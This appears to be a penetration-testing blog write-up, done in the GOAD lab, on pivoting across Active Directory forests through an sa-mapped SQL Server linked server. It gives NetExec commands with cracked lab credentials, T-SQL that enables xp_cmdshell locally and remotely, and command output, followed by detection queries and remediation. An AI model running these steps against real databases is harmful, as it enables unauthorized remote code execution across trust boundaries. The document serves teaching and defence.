---
title: "Cross-Forest Pivoting via SQL Server Linked Servers: Bypassing Kerberos Trust Boundaries"
description: "Deconstructing SQL Server linked-server lateral movement in GOAD: from a cracked service account (jon.snow) to xp_cmdshell execution as north\sql_svc, pivoting through sa-mapped linked servers into essos\sql_svc without Kerberos trust authentication."
date: 2026-11-05
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/posts/mssql-linked-servers/
---

## Attack Surface: Database Links as Hidden Trust Boundaries

In Active Directory penetration testing, operators frequently focus exclusively on LDAP, Kerberos, and Domain Controller attack paths. However, database services deployed on domain member servers frequently maintain independent authentication bridges that pierce domain and forest security boundaries.

A **Linked Server** in Microsoft SQL Server allows an instance to execute distributed queries and remote procedure calls against external database instances. Crucially, SQL Server decouples the client's original Kerberos identity from the credential used on the remote target. When a linked server is configured with fixed login mapping:

1. The client authenticates to the local SQL instance using valid domain credentials.
2. The client submits a query or RPC request targeting the linked server.
3. The local SQL Server process establishes an independent connection to the target server, authenticating with static credentials configured in `sys.linked_logins` (such as the high-privilege `sa` account).
4. The remote server executes the command within the security context of the mapped login, completely bypassing Active Directory trust boundaries, SID filtering, and Kerberos ticket validation.

In the GOAD environment, this architecture enables an attacker who has compromised a service account in `north.sevenkingdoms.local` to execute operating system commands in `essos.local` as an `essos` domain principal without authenticating across the Active Directory forest trust.

---

## Phase 1: Local Database Foothold and Privilege Verification

In the second stage of the GOAD assessment, offline cracking of a Kerberoastable Service Principal Name (`CIFS/thewall.north.sevenkingdoms.local`) yielded credentials for `jon.snow:iknownothing`. While this account was provisioned for file share services, it also holds `sysadmin` server-role privileges on the SQL Server instance hosted on member server `CASTELBLACK` (`192.168.56.22`).

Connecting via `NetExec` (`nxc`) over the Tabular Data Stream (`TDS`, TCP port 1433) confirms high-privilege access:

```bash
$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local
MSSQL  192.168.56.22  1433  CASTELBLACK  [+] north.sevenkingdoms.local\jon.snow:iknownothing (Pwn3d!)
```

The `(Pwn3d!)` indicator denotes membership in the `sysadmin` fixed server role. In manual T-SQL, this is verified via:

```sql
SELECT IS_SRVROLEMEMBER('sysadmin');  -- Returns 1 (True)
SELECT SYSTEM_USER, USER_NAME();       -- Returns 'NORTH\jon.snow', 'dbo'
```

---

## Phase 2: Enumerating Linked Server Topologies

To identify downstream database links, we query SQL Server's metadata catalog views (`sys.servers` and `sys.linked_logins`).

```sql
-- Enumerate configured remote and linked servers
SELECT server_id, name, product, provider, data_source, is_linked, is_remote_login, is_rpc_out_enabled 
FROM sys.servers 
WHERE is_linked = 1;

-- Enumerate credential mappings for linked instances
SELECT s.name AS linked_server, l.remote_name, l.uses_self_credential
FROM sys.servers s
JOIN sys.linked_logins l ON s.server_id = l.server_id;
```

Executing this enumeration through NetExec's `enum_links` module:

```bash
$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M enum_links
ENUM_LINKS  [+] Linked servers found:
ENUM_LINKS  [*]   - BRAAVOS
ENUM_LINKS  [*] Linked server: BRAAVOS
ENUM_LINKS  [*]   - Local login: NORTH\jon.snow
ENUM_LINKS  [*]   - Remote login: sa
```

### Protocol Mechanics: Remote Procedure Call Configuration

Two attributes on `sys.servers` dictate how commands can be routed to the linked server:

1. `is_data_access_enabled`: Enables distributed queries using the `OPENQUERY()` function.
2. `is_rpc_out_enabled`: Enables direct RPC execution using the `EXEC (...) AT [ServerName]` syntax.

In this environment, `BRAAVOS` (`192.168.56.23`, located in `essos.local`) is configured with `is_rpc_out_enabled = 1` and maps all queries from `NORTH\jon.snow` to the remote `sa` (System Administrator) SQL login.

---

## Phase 3: Local Command Execution via `xp_cmdshell`

Prior to traversing the link, operating system command execution on `CASTELBLACK` is verified using the extended stored procedure `xp_cmdshell`. In production environments, `xp_cmdshell` is disabled by default. However, members of `sysadmin` can re-enable it on demand:

```sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
```

Executing through NetExec:

```bash
$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -x "whoami /all"
MSSQL  [+] Executed command via mssqlexec
MSSQL  north\sql_svc
```

### Service Identity Implications

The command runs in the security context of `north\sql_svc`. Because SQL Server was configured to run under a domain user account rather than a local virtual service identity (`NT SERVICE\MSSQLSERVER`) or virtual machine account:

- The spawned process holds an authentic Kerberos ticket granting identity in `north.sevenkingdoms.local`.
- Any process executed through `xp_cmdshell` inherits domain network access, allowing authenticated interactions with SMB file shares, internal LDAP directories, and Kerberos KDCs.

---

## Phase 4: Cross-Forest Link Execution into `essos.local`

With `BRAAVOS` mapped to `sa`, commands can be executed remotely across the link. First, `xp_cmdshell` must be enabled on the remote instance by sending a configuration batch through the RPC link:

```bash
$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local \
    -M link_enable_cmdshell -o ACTION=enable LINKED_SERVER=BRAAVOS
LINK_ENABLE  [*] Enabling xp_cmdshell on BRAAVOS. Current value: False
LINK_ENABLE  [+] xp_cmdshell enabled on BRAAVOS
```

Under the hood, this executes the following distributed T-SQL statement:

```sql
EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [BRAAVOS];
```

Once enabled, arbitrary operating system commands can be dispatched to `BRAAVOS`:

```bash
$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local \
    -M link_xpcmd -o LINKED_SERVER=BRAAVOS CMD="whoami"
LINK_XPCMD  [*] Running command on BRAAVOS: whoami
LINK_XPCMD  [+] Executed command via linked server
LINK_XPCMD  essos\sql_svc
```

The command returns `essos\sql_svc`. An authenticated user from `north.sevenkingdoms.local` has achieved remote code execution on a tier-1 server in `essos.local` without possessing any user account, hash, or Kerberos ticket inside the destination forest.

<figure class="diagram">
<svg viewBox="0 0 760 336" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="The SQL Server linked-server chain across forest boundaries. Stage 1: jon.snow uses cracked credentials to connect to CASTELBLACK in north, where sysadmin permissions allow enabling xp_cmdshell as north\sql_svc. Stage 2: Enumeration reveals a linked server to BRAAVOS configured with security context mapped to sa. Stage 3: Executing commands via EXEC AT on the link executes xp_cmdshell on braavos in essos.local as essos\sql_svc without any Kerberos ticket or domain trust exchange.">
  <defs>
    <marker id="sql-m-crit" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="6" markerHeight="6" orient="auto">
      <path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" />
    </marker>
  </defs>
  <text x="12" y="20" class="dg-muted">SQL SERVER LINKED-SERVER CHAIN · TRANSIT WITHOUT KERBEROS TRUST BOUNDARIES</text>
  <rect x="12" y="36" width="224" height="220" rx="8" class="dg-box" />
  <text x="26" y="60" class="dg-label">1 · CASTELBLACK (.22)</text>
  <text x="26" y="78" class="dg-mono dg-compact">SRV02 · north domain</text>
  <text x="26" y="98" class="dg-muted dg-compact">Login: jon.snow (sysadmin)</text>
  <text x="26" y="116" class="dg-mono dg-compact">sp_configure xp_cmdshell, 1</text>
  <text x="26" y="132" class="dg-mono dg-compact">Local SQL instance access</text>
  <rect x="22" y="146" width="204" height="64" rx="6" class="dg-box-accent" />
  <text x="32" y="166" class="dg-accent">LOCAL CODE EXECUTION</text>
  <text x="32" y="184" class="dg-mono dg-compact">cmd.exe / powershell.exe</text>
  <text x="32" y="200" class="dg-ok">Runs as: north\sql_svc</text>
  <text x="26" y="238" class="dg-ok">Status: Local Host Compromised</text>
  <line x1="236" y1="146" x2="266" y2="146" class="dg-line-crit" marker-end="url(#sql-m-crit)" />
  <text x="251" y="138" text-anchor="middle" class="dg-crit dg-compact">Enum</text>
  <rect x="268" y="36" width="224" height="220" rx="8" class="dg-box" />
  <text x="282" y="60" class="dg-label">2 · LINKED SERVER PIVOT</text>
  <text x="282" y="78" class="dg-mono dg-compact">Target Link: BRAAVOS</text>
  <text x="282" y="98" class="dg-muted dg-compact">EXEC sp_linkedservers</text>
  <text x="282" y="116" class="dg-mono dg-compact">data_access = 1 · rpc_out = 1</text>
  <text x="282" y="132" class="dg-mono dg-compact">Transparent proxy tunnel</text>
  <rect x="278" y="146" width="204" height="64" rx="6" class="dg-box-accent" />
  <text x="288" y="166" class="dg-accent">SECURITY CONTEXT MAP</text>
  <text x="288" y="184" class="dg-mono dg-compact">Local: Any caller</text>
  <text x="288" y="200" class="dg-accent">Remote: sa (Sysadmin)</text>
  <text x="282" y="238" class="dg-ok">Status: Cross-Forest Link Active</text>
  <line x1="492" y1="146" x2="522" y2="146" class="dg-line-crit" marker-end="url(#sql-m-crit)" />
  <text x="507" y="138" text-anchor="middle" class="dg-crit dg-compact">EXEC AT</text>
  <rect x="524" y="36" width="224" height="220" rx="8" class="dg-box-danger" />
  <text x="538" y="60" class="dg-label dg-danger">3 · BRAAVOS (.23)</text>
  <text x="538" y="78" class="dg-mono dg-compact">SRV03 · essos.local</text>
  <text x="538" y="98" class="dg-accent dg-compact">Remote xp_cmdshell enabled</text>
  <text x="538" y="116" class="dg-mono dg-compact">Zero Kerberos tickets used</text>
  <text x="538" y="132" class="dg-mono dg-compact">No trust authentication logged</text>
  <rect x="534" y="146" width="204" height="64" rx="6" class="dg-box" />
  <text x="544" y="166" class="dg-crit">REMOTE FOREST RCE</text>
  <text x="544" y="184" class="dg-mono dg-compact">whoami: essos\sql_svc</text>
  <text x="544" y="200" class="dg-danger">Tier-1 Host Compromised</text>
  <text x="538" y="238" class="dg-crit">STATUS: PIVOT COMPLETE</text>
  <rect x="12" y="268" width="736" height="56" rx="8" class="dg-box" />
  <text x="26" y="291" class="dg-muted">BOUNDARY IMPLICATION ·</text>
  <text x="180" y="291" class="dg-label">sa-mapped SQL link silently pierces forest trust boundaries without Kerberos audit</text>
  <text x="26" y="310" class="dg-mono dg-compact">EXECUTION CHAIN: CASTELBLACK (north\sql_svc) → OPENQUERY(BRAAVOS) → BRAAVOS (essos\sql_svc)</text>
</svg>
<figcaption>The chain: <code>jon.snow</code> is <code>sysadmin</code> on <code>castelblack</code>, gets code execution as <code>north\sql_svc</code>, and pivots through the <code>sa</code>-mapped linked server to run commands on <code>braavos</code> as <code>essos\sql_svc</code>.</figcaption>
</figure>

---

## Defensive Engineering and Detection Telemetry

### Forensic Artifacts and Telemetry Matrix

| Source | Event ID | Description | Telemetry Context |
| :--- | :--- | :--- | :--- |
| **SQL Server** | `15457` | Configuration option changed | Logs alterations to `show advanced options` and `xp_cmdshell` in the Application log. |
| **Sysmon** | `1` | Process Creation | Parent image `sqlservr.exe` spawning child shell processes (`cmd.exe` or `powershell.exe`). |
| **Windows Security** | `4624` | Successful Logon | Type 3 (Network) logon on `BRAAVOS` originating from `CASTELBLACK` IP over port 1433 without Active Directory trust referral tickets. |
| **SQL Server Audit** | `SCHEMA_OBJECT_ACCESS` | Stored Procedure Execution | Tracks execution of `xp_cmdshell` or `sp_linkedservers`. |

```kql
// KQL Query: Detect cmd.exe or powershell.exe Spawned by SQL Server
DeviceProcessEvents
| where InitiatingProcessFileName =~ "sqlservr.exe"
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "whoami.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, AccountName
```

### Remediation Protocols

1. **Enforce Least Privilege Mapping:** Never map remote linked server connections to `sa`. Instead, create a dedicated SQL login on the remote instance constrained to the specific database tables required, granting only `SELECT` or `EXECUTE` rights on narrow stored procedures.
2. **Disable Remote RPC Out:** Where distributed queries are required for reporting, disable RPC out calls:
   ```sql
   EXEC sp_serveroption @server = 'BRAAVOS', @optname = 'rpc out', @optvalue = 'FALSE';
   ```
3. **Migrate Service Accounts to gMSAs:** Migrate database service accounts from standard domain users to **group Managed Service Accounts (gMSAs)**. This prevents password cracking (Kerberoasting) and restricts interactive or network token generation.
4. **Remove Application Logins from `sysadmin`:** Ensure application service accounts and developer accounts do not reside in the `sysadmin` fixed server role.

---

## Evidence and limits

The MSSQL linked-server enumeration, `EXECUTE AS LOGIN` impersonation, `xp_cmdshell` activation, and bidirectional `SRV02 ↔ SRV03` cross-forest pivot were executed inside the isolated GOAD lab (`192.168.56.22` and `192.168.56.23`). All database logins and service accounts belong to GOAD's pre-seeded SQL Server instances.

## References

- **Orange Cyberdefense, GOAD:** [orange-cyberdefense.github.io/GOAD](https://orange-cyberdefense.github.io/GOAD/)
- **NetSPI, SQL Server Link Crawling with PowerUpSQL:** [netspi.com](https://www.netspi.com/blog/technical-blog/network-pentesting/sql-server-link-crawling-powerupsql/)
- **NetExec Documentation, MSSQL Module:** [www.netexec.wiki](https://www.netexec.wiki/)
- **HackTricks, Pentesting MSSQL:** [book.hacktricks.xyz](https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server)
- **Microsoft, sp_addlinkedserver Documentation:** [learn.microsoft.com](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-addlinkedserver-transact-sql)
- **MITRE ATT&CK, Remote Services (T1021):** [attack.mitre.org/techniques/T1021/](https://attack.mitre.org/techniques/T1021/)